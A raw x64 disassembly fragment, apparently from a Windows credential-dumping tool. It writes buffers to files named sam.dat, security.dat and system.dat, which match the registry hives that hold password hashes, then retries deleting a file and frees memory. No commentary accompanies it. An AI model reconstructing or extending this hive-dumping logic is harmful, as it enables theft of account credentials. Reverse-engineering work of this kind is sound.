call fcn.140001163
xor eax, eax
jmp 0x140005ac1
cmp qword [rbp + 0x1258], 0
je 0x14000586d
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1300]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.1400012a3
cmp qword [rbp + 0x11f8], 0
je 0x140005abb
cmp qword [rbp + 0x1218], 0
je 0x140005abb
cmp qword [rbp + 0x1238], 0
je 0x140005abb
mov edx, 0x104
lea rcx, [rbp + 0x3210]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x1400058c0
lea rcx, str.____Unable_to_Get_Current_Directory__n
call fcn.140001163
jmp 0x140005971
lea r8, [rbp + 0x3210]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x3340]
call fcn.140001294
lea r8, [rbp + 0x3210]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x3470]
call fcn.140001294
lea r8, [rbp + 0x3210]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x35a0]
call fcn.140001294
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x3340]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.1400012a3
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x3470]
mov edx, eax
mov rcx, qword [rbp + 0x1218]
call fcn.1400012a3
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x35a0]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.1400012a3
mov edx, 0x40
lea rcx, [rbp + 0x1450]
call fcn.140001177
mov edx, 1
mov rcx, qword [rbp + 0x1308]
call fcn.14000123a
cmp dword [rbp + 0x1320], 0
je 0x140005a01
mov dword [rbp + 0x1504], 0
jmp 0x1400059b6
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 0x14
jge 0x1400059e5
mov edx, 1
mov rcx, qword [rbp + 0x12f8]
call fcn.14000123a
test eax, eax
je 0x1400059d8
jmp 0x1400059e5
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400059a8
cmp dword [rbp + 0x1504], 0x14
jne 0x140005a01
mov rdx, qword [rbp + 0x12f8]
lea rcx, str.____Failed_to_Delete__s_n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
je 0x140005a23
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x140005a45
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x140005a67
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x140005a89
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x12f8]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1300]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1308]
call qword [sym.imp.ucrtbased.dll_free]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x140005abf
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400114b0]
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x3d10]
pop rdi
pop rsi
pop rbp
ret